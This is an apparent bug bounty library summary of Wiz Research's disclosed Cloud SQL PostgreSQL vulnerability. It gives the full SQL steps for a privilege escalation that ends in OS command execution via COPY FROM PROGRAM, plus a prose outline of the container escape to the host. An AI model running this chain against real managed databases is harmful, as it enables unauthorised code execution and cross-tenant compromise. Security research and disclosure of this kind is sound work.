# The cloud has an isolation problem: PostgreSQL vulnerabilities affect multiple cloud vendors

GCP Cloud SQL's cloudsqlsuperuser could ALTER TABLE owner to cloudsqladmin, then ANALYZE invoked a malicious index function as superuser, yielding OS command execution and container escape.

- Payout: Research
- Severity: high
- Program: Google Cloud SQL
- Credited: Wiz Research
- Disclosed: 2022-08-11
- Write-up quality: 9/10
- Original: https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities
- Library page: https://bugbountylibrary.com/r/blog%3Awiz-io-blog-the-cloud-has-an-isolation-problem-postgresql-vulnerabilities
- Tags: domain:cloud impact:privesc impact:rce kind:research platform:threat-intel sev:high tech:docker tech:linux technique:chained technique:reverse-engineering technique:source-review vuln:rce

**Target:** Managed PostgreSQL (Cloud SQL) and Azure Database for PostgreSQL
**Root cause:** GCP modified ATExecChangeOwner to let cloudsqlsuperuser change table ownership to cloudsqladmin; index functions then run with table owner's privileges, so ANALYZE executes attacker code as superuser.
**Steps:**
1. `CREATE TABLE temp_table (data text); CREATE TABLE shell_commands_results (data text);`
2. `INSERT INTO temp_table VALUES ('dummy content');`
3. `CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';`
4. `CREATE INDEX index_malicious ON public.temp_table (suid_function(data));`
5. `ALTER TABLE temp_table OWNER TO cloudsqladmin;`
6. `CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';`
7. `ANALYZE public.temp_table;` then read `shell_commands_results`
**How found:** Tried COPY FROM PROGRAM, hit superuser error; enumerated roles and noticed cloudsqlsuperuser; experimented with non-default capabilities and was surprised ALTER TABLE OWNER TO cloudsqladmin succeeded; read PostgreSQL source showing index functions run as table owner.
**Exploitation:** Attacker with cloudsqlsuperuser creates table, malicious index function, reassigns ownership to cloudsqladmin, then ANALYZE runs the function as cloudsqladmin executing COPY FROM PROGRAM for OS command execution inside the postgres docker container.
**Escalation:** From postgres user, found root-owned iptables-save in writable /pgsql dir; symlinked it to /etc/ld.so.preload via host overlay path, triggered rewrite by adding allow-list IP, loaded malicious shared lib via suid mount to get root; then used shared network namespace and TCP injection against GCP guest agent IMDS to escape container and gain sudoer on host.
**Insight:** Managed-service forks that grant 'semi-superuser' attributes are prime targets: enumerate which normally-superuser-only operations your role can perform, then look for engine features (index functions, event triggers, extensions) that execute with the object owner's privileges to convert ownership changes into code execution.
